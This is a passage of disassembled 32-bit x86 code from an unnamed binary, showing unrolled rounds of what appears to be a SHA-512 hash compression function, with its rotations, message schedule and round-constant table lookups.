		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_14C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_148]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_14C]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_144]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_134]
		not	ebx
		and	ebx, [esp+170h+var_13C]
		not	edi
		and	edi, [esp+170h+var_140]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420638[eax*8]
		adc	esi, ds:dword_42063C[eax*8]
		add	edx, [esp+170h+var_38]
		mov	eax, [esp+170h+var_138]
		adc	esi, [esp+170h+var_34]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_158], eax
		mov	[esp+170h+var_134], ecx
		mov	[esp+170h+var_138], eax
		adc	[esp+170h+var_154], ecx
		mov	ecx, [esp+170h+var_130]
		mov	eax, [esp+170h+var_12C]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		xor	edi, edi
		or	edi, edx
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shr	edx, 2
		shl	ecx, 1Eh
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ebx, [esp+170h+var_130]
		xor	edx, edx
		mov	ebp, eax
		shld	ebp, ebx, 19h
		or	edx, ebp
		mov	ebp, [esp+170h+var_124]
		shl	ebx, 19h
		xor	esi, edx
		mov	edx, [esp+170h+var_128]
		mov	ecx, eax
		shr	ecx, 7
		or	ecx, ebx
		xor	edi, ecx
		mov	ecx, [esp+170h+var_130]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_120]
		and	edx, ecx
		mov	ecx, [esp+170h+var_124]
		xor	ebp, eax
		and	ebp, [esp+170h+var_11C]
		and	ecx, eax
		xor	ebx, edx
		xor	ebp, ecx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_138], edi
		adc	[esp+170h+var_134], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_405EB0
		mov	eax, [esp+170h+var_D0]
		mov	ecx, [esp+170h+var_CC]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_CC]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_108]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_104]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_108]
		xor	ebp, ebp
		or	ebp, ecx
		mov	ecx, [esp+170h+var_104]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_C0]
		adc	edx, [esp+170h+var_BC]
		add	ecx, [esp+170h+var_A8]
		adc	edx, [esp+170h+var_A4]
		mov	[eax+70h], ecx
		mov	[eax+74h], edx
		mov	eax, edx
		mov	[esp+170h+var_A8], ecx
		mov	[esp+170h+var_A4], eax
		mov	[esp+170h+var_88], ecx
		jmp	short loc_405EC5
; ---------------------------------------------------------------------------

loc_405EB0:				; CODE XREF: sub_405350+A75j
		mov	edx, [esp+170h+var_A8]
		mov	eax, [esp+170h+var_A4]
		mov	[esp+170h+var_88], edx

loc_405EC5:				; CODE XREF: sub_405350+B5Ej
		mov	ecx, [esp+170h+var_154]
		mov	[esp+170h+var_84], eax
		mov	eax, [esp+170h+var_158]
		mov	ebx, ecx
		xor	esi, esi
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		mov	edx, ecx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		xor	ebx, ebx
		or	ebx, ebp
		mov	ebp, [esp+170h+var_154]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		mov	ecx, eax
		shl	ecx, 12h
		shr	ebp, 0Eh
		or	ecx, ebp
		mov	ebp, [esp+170h+var_150]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_154]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_14C]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_13C]
		not	edi
		and	edi, [esp+170h+var_148]
		not	ebx
		and	ebx, [esp+170h+var_144]
		xor	edi, ebp
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420640[eax*8]
		mov	edi, [esp+170h+var_12C]
		adc	esi, ds:dword_420644[eax*8]
		add	edx, [esp+170h+var_88]
		mov	eax, [esp+170h+var_140]
		adc	esi, [esp+170h+var_84]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_120], eax
		mov	esi, [esp+170h+var_130]
		mov	[esp+170h+var_140], eax
		adc	[esp+170h+var_11C], ecx
		mov	[esp+170h+var_13C], ecx
		mov	ecx, [esp+170h+var_138]
		mov	eax, esi
		xor	eax, ecx
		mov	[esp+170h+var_98], eax
		mov	eax, [esp+170h+var_134]
		mov	edx, edi
		xor	edx, eax
		mov	[esp+170h+var_94], edx
		mov	edx, esi
		and	edx, ecx
		mov	[esp+170h+var_90], edx
		mov	edx, edi
		and	edx, eax
		mov	[esp+170h+var_8C], edx
		mov	edx, ecx
		xor	esi, esi
		shl	edx, 4
		mov	edi, ecx
		mov	ebx, eax
		shrd	edi, ebx, 1Ch
		shr	ebx, 1Ch
		or	edx, ebx
		or	esi, edi
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		xor	ebx, ebx
		shl	ecx, 1Eh
		or	ebx, ebp
		mov	edi, eax
		xor	edx, ebx
		mov	ebx, [esp+170h+var_138]
		shr	edi, 2
		or	edi, ecx
		mov	ecx, eax
		shld	eax, ebx, 19h
		xor	esi, edi
		shr	ecx, 7
		xor	edi, edi
		or	edi, eax
		mov	eax, [esp+170h+var_98]
		and	eax, [esp+170h+var_128]
		shl	ebx, 19h
		xor	eax, [esp+170h+var_90]
		or	ecx, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_94]
		and	ecx, [esp+170h+var_124]
		xor	edx, edi
		xor	ecx, [esp+170h+var_8C]
		add	esi, eax
		adc	edx, ecx
		add	[esp+170h+var_140], esi
		adc	[esp+170h+var_13C], edx
		cmp	[esp+170h+var_15C], 0
		jz	loc_406132
		mov	eax, [esp+170h+var_B8]
		mov	ecx, [esp+170h+var_B4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 13h
		xor	esi, esi
		or	esi, edi
		mov	edi, ecx
		shr	ebx, 13h
		mov	edx, eax
		mov	ebp, eax
		shld	ecx, ebp, 3
		shl	edx, 0Dh
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_B4]
		shrd	eax, ecx, 6
		add	ebp, ebp
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	esi, edi
		xor	esi, eax
		mov	eax, [esp+170h+var_D8]
		xor	edx, ebx
		shr	ecx, 6
		xor	edx, ecx
		mov	ecx, [esp+170h+var_D4]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		xor	edi, edi
		or	edi, ebx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_D8]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_D4]
		shrd	eax, ecx, 7
		shr	ecx, 7
		xor	esi, ebx
		xor	edi, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_D0]
		adc	edx, [esp+170h+var_CC]
		add	ecx, [esp+170h+var_A0]
		adc	edx, [esp+170h+var_9C]
		mov	[eax+78h], ecx
		mov	[eax+7Ch], edx
		mov	eax, edx
		mov	[esp+170h+var_D0], ecx
		mov	[esp+170h+var_CC], eax
		mov	[esp+170h+var_60], ecx
		jmp	short loc_406147
; ---------------------------------------------------------------------------

loc_406132:				; CODE XREF: sub_405350+CEBj
		mov	edx, [esp+170h+var_D0]
		mov	eax, [esp+170h+var_CC]
		mov	[esp+170h+var_60], edx

loc_406147:				; CODE XREF: sub_405350+DE0j
		mov	ecx, [esp+170h+var_11C]
		mov	ebx, ecx
		mov	[esp+170h+var_5C], eax
		mov	eax, [esp+170h+var_120]
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_11C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		shr	ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_158]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_11C]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_154]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_148]
		not	ebx
		and	ebx, [esp+170h+var_14C]
		not	edi
		and	edi, [esp+170h+var_150]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420648[eax*8]
		adc	esi, ds:dword_42064C[eax*8]
		add	edx, [esp+170h+var_60]
		mov	eax, [esp+170h+var_128]
		adc	esi, [esp+170h+var_5C]
		add	ecx, edx
		mov	edx, [esp+170h+var_144]
		adc	edx, esi
		add	eax, ecx
		adc	[esp+170h+var_124], edx
		mov	[esp+170h+var_148], ecx
		mov	ecx, [esp+170h+var_140]
		mov	[esp+170h+var_144], edx
		mov	edx, [esp+170h+var_13C]
		mov	ebx, ecx
		mov	ebp, edx
		shrd	ebx, ebp, 1Ch
		xor	edi, edi
		or	edi, ebx
		mov	esi, ecx
		mov	ebx, edx
		shld	edx, ecx, 1Eh
		shr	ebp, 1Ch
		shl	esi, 4
		or	esi, ebp
		shr	ebx, 2
		shl	ecx, 1Eh
		xor	ebp, ebp
		or	ebx, ecx
		mov	[esp+170h+var_128], eax
		or	ebp, edx
		mov	ecx, [esp+170h+var_13C]
		xor	esi, ebp
		mov	ebp, [esp+170h+var_140]
		mov	edx, ecx
		shld	ecx, ebp, 19h
		xor	edi, ebx
		shr	edx, 7
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_98]
		and	ecx, [esp+170h+var_140]
		shl	ebp, 19h
		xor	ecx, [esp+170h+var_90]
		or	edx, ebp
		xor	edi, edx
		mov	edx, [esp+170h+var_94]
		and	edx, [esp+170h+var_13C]
		xor	esi, ebx
		xor	edx, [esp+170h+var_8C]
		add	edi, ecx
		adc	esi, edx
		add	[esp+170h+var_148], edi
		adc	[esp+170h+var_144], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_40638D
		mov	eax, [esp+170h+var_A8]
		mov	ecx, [esp+170h+var_A4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 13h
		xor	esi, esi
		or	esi, edi
		mov	edi, ecx
		shr	ebx, 13h
		mov	edx, eax
		mov	ebp, eax
		shld	ecx, ebp, 3
		shl	edx, 0Dh
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_A4]
		shrd	eax, ecx, 6
		add	ebp, ebp
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	esi, edi
		xor	esi, eax
		mov	eax, [esp+170h+var_118]
		xor	edx, ebx
		shr	ecx, 6
		xor	edx, ecx
		mov	ecx, [esp+170h+var_114]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		xor	edi, edi
		or	edi, ebx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_118]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_114]
		shrd	eax, ecx, 7
		shr	ecx, 7
		xor	esi, ebx
		xor	edi, ebp
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_D8]
		adc	edx, [esp+170h+var_D4]
		add	ecx, [esp+170h+var_E0]
		adc	edx, [esp+170h+var_DC]
		mov	[eax+80h], ecx
		mov	[eax+84h], edx
		mov	eax, edx
		mov	[esp+170h+var_D4], eax
		mov	[esp+170h+var_14], eax
		mov	eax, [esp+170h+var_128]
		mov	[esp+170h+var_D8], ecx
		mov	[esp+170h+var_18], ecx
		jmp	short loc_4063A9
; ---------------------------------------------------------------------------

loc_40638D:				; CODE XREF: sub_405350+F41j
		mov	edx, [esp+170h+var_D8]
		mov	ecx, [esp+170h+var_D4]
		mov	[esp+170h+var_18], edx
		mov	[esp+170h+var_14], ecx

loc_4063A9:				; CODE XREF: sub_405350+103Bj
		mov	ecx, [esp+170h+var_124]
		mov	ebx, ecx
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_124]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_120]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_124]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_11C]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_14C]
		not	ebx
		and	ebx, [esp+170h+var_154]
		not	edi
		and	edi, [esp+170h+var_158]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420650[eax*8]
		adc	esi, ds:dword_420654[eax*8]
		add	edx, [esp+170h+var_18]
		mov	eax, [esp+170h+var_150]
		adc	esi, [esp+170h+var_14]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_130], eax
		mov	[esp+170h+var_14C], ecx
		mov	[esp+170h+var_150], eax
		adc	[esp+170h+var_12C], ecx
		mov	eax, [esp+170h+var_144]
		mov	ecx, [esp+170h+var_148]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		xor	edi, edi
		or	edi, edx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shl	ecx, 1Eh
		shr	edx, 2
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ecx, eax
		mov	ebx, [esp+170h+var_148]
		mov	ebp, eax
		shld	ebp, ebx, 19h
		xor	edx, edx
		or	edx, ebp
		mov	ebp, [esp+170h+var_13C]
		xor	ebp, [esp+170h+var_134]
		shl	ebx, 19h
		shr	ecx, 7
		or	ecx, ebx
		xor	esi, edx
		mov	edx, [esp+170h+var_140]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_138]
		and	ebp, eax
		mov	eax, [esp+170h+var_13C]
		and	eax, [esp+170h+var_134]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_148]
		and	edx, ecx
		xor	ebx, edx
		xor	ebp, eax
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_150], edi
		adc	[esp+170h+var_14C], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_4065D1
		mov	eax, [esp+170h+var_C8]
		mov	ecx, [esp+170h+var_C4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_C4]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_D0]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_CC]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_D0]
		xor	ebp, ebp
		or	ebp, ecx
		mov	ecx, [esp+170h+var_CC]
		shrd	eax, ecx, 6
		shr	ecx, 6
		xor	esi, ebp
		xor	edi, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_118]
		adc	edx, [esp+170h+var_114]
		add	ecx, [esp+170h+var_100]
		adc	edx, [esp+170h+var_FC]
		mov	[eax+88h], ecx
		mov	[eax+8Ch], edx
		mov	eax, edx
		mov	[esp+170h+var_118], ecx
		mov	[esp+170h+var_114], eax
		mov	[esp+170h+var_48], ecx
		jmp	short loc_4065E0
; ---------------------------------------------------------------------------

loc_4065D1:				; CODE XREF: sub_405350+1196j
		mov	edx, [esp+170h+var_118]
		mov	eax, [esp+170h+var_114]
		mov	[esp+170h+var_48], edx

loc_4065E0:				; CODE XREF: sub_405350+127Fj
		mov	ecx, [esp+170h+var_12C]
		mov	ebx, ecx
		mov	[esp+170h+var_44], eax
		mov	eax, [esp+170h+var_130]
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_12C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_128]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_12C]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_124]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_154]
		not	ebx
		and	ebx, [esp+170h+var_11C]
		not	edi
		and	edi, [esp+170h+var_120]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420658[eax*8]
		adc	esi, ds:dword_42065C[eax*8]
		add	edx, [esp+170h+var_48]
		mov	eax, [esp+170h+var_158]
		adc	esi, [esp+170h+var_44]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_138], eax
		mov	[esp+170h+var_154], ecx
		mov	[esp+170h+var_158], eax
		adc	[esp+170h+var_134], ecx
		mov	ecx, [esp+170h+var_150]
		mov	eax, [esp+170h+var_14C]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		xor	edi, edi
		or	edi, edx
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shr	edx, 2
		shl	ecx, 1Eh
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ebx, [esp+170h+var_150]
		mov	ebp, eax
		shld	ebp, ebx, 19h
		shl	ebx, 19h
		mov	ecx, eax
		shr	ecx, 7
		or	ecx, ebx
		xor	edx, edx
		or	edx, ebp
		xor	edi, ecx
		mov	ecx, [esp+170h+var_150]
		xor	esi, edx
		mov	edx, [esp+170h+var_140]
		mov	ebx, ecx
		xor	ebx, edx
		and	ebx, [esp+170h+var_148]
		mov	ebp, eax
		xor	ebp, [esp+170h+var_13C]
		and	eax, [esp+170h+var_13C]
		and	ebp, [esp+170h+var_144]
		and	ecx, edx
		xor	ebx, ecx
		xor	ebp, eax
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_158], edi
		adc	[esp+170h+var_154], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_40681B
		mov	eax, [esp+170h+var_D8]
		mov	ecx, [esp+170h+var_D4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 13h
		xor	esi, esi
		or	esi, edi
		mov	edi, ecx
		shr	ebx, 13h
		mov	edx, eax
		mov	ebp, eax
		shld	ecx, ebp, 3
		shl	edx, 0Dh
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_D4]
		shrd	eax, ecx, 6
		add	ebp, ebp
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	esi, edi
		xor	esi, eax
		mov	eax, [esp+170h+var_F0]
		xor	edx, ebx
		shr	ecx, 6
		xor	edx, ecx
		mov	ecx, [esp+170h+var_EC]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		xor	edi, edi
		or	edi, ebx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_F0]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_EC]
		shrd	eax, ecx, 7
		shr	ecx, 7
		xor	esi, ebx
		xor	edi, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_C8]
		adc	edx, [esp+170h+var_C4]
		add	ecx, [esp+170h+var_110]
		adc	edx, [esp+170h+var_10C]
		mov	[eax+90h], ecx
		mov	[eax+94h], edx
		mov	eax, edx
		mov	[esp+170h+var_C8], ecx
		mov	[esp+170h+var_C4], eax
		mov	[esp+170h+var_80], ecx
		jmp	short loc_406830
; ---------------------------------------------------------------------------

loc_40681B:				; CODE XREF: sub_405350+13D4j
		mov	edx, [esp+170h+var_C8]
		mov	eax, [esp+170h+var_C4]
		mov	[esp+170h+var_80], edx

loc_406830:				; CODE XREF: sub_405350+14C9j
		mov	ecx, [esp+170h+var_134]
		mov	ebx, ecx
		mov	[esp+170h+var_7C], eax
		mov	eax, [esp+170h+var_138]
		xor	esi, esi
		mov	edx, ecx
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		xor	ebx, ebx
		shr	edx, 9
		or	edx, edi
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_134]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		xor	edi, edi
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		mov	ebp, [esp+170h+var_130]
		xor	esi, ecx
		mov	ecx, [esp+170h+var_134]
		and	ebp, eax
		mov	edi, eax
		mov	eax, [esp+170h+var_12C]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_11C]
		not	ebx
		and	ebx, [esp+170h+var_124]
		not	edi
		and	edi, [esp+170h+var_128]
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		xor	edi, ebp
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_420660[eax*8]
		adc	esi, ds:dword_420664[eax*8]
		add	edx, [esp+170h+var_80]
		mov	eax, [esp+170h+var_120]
		adc	esi, [esp+170h+var_7C]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_140], eax
		mov	[esp+170h+var_11C], ecx
		mov	[esp+170h+var_120], eax
		adc	[esp+170h+var_13C], ecx
		mov	ecx, [esp+170h+var_158]
		mov	eax, [esp+170h+var_154]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		xor	edi, edi
		or	edi, edx
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shr	edx, 2
		shl	ecx, 1Eh
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ebx, [esp+170h+var_158]
		xor	edx, edx
		mov	ebp, eax
		shld	ebp, ebx, 19h
		or	edx, ebp
		mov	ebp, [esp+170h+var_14C]
		shl	ebx, 19h
		xor	esi, edx
		mov	edx, [esp+170h+var_150]
		mov	ecx, eax
		shr	ecx, 7
		or	ecx, ebx
		xor	edi, ecx
		mov	ecx, [esp+170h+var_158]
		mov	ebx, edx
		xor	ebx, ecx
		and	ebx, [esp+170h+var_148]
		and	edx, ecx
		mov	ecx, [esp+170h+var_14C]
		xor	ebp, eax
		and	ebp, [esp+170h+var_144]
		and	ecx, eax
		xor	ebx, edx
		xor	ebp, ecx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_120], edi
		adc	[esp+170h+var_11C], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_406A61
		mov	eax, [esp+170h+var_E8]
		mov	ecx, [esp+170h+var_E4]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 8
		mov	ebp, eax
		shrd	ebp, ecx, 1
		xor	esi, esi
		or	esi, edi
		shr	ecx, 1
		mov	edi, eax
		mov	edx, eax
		shr	ebx, 8
		shl	edi, 1Fh
		or	edi, ecx
		mov	ecx, [esp+170h+var_E4]
		shrd	eax, ecx, 7
		shl	edx, 18h
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+var_118]
		xor	edx, edi
		shr	ecx, 7
		xor	edx, ecx
		mov	ecx, [esp+170h+var_114]
		mov	ebx, eax
		mov	ebp, ecx
		shrd	ebx, ebp, 13h
		xor	edi, edi
		or	edi, ebx
		mov	ebx, ecx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		shld	ecx, eax, 3
		add	eax, eax
		add	eax, eax
		shl	esi, 0Dh
		shr	ebp, 13h
		or	esi, ebp
		add	eax, eax
		shr	ebx, 1Dh
		or	ebx, eax
		mov	eax, [esp+170h+var_118]
		xor	ebp, ebp
		or	ebp, ecx
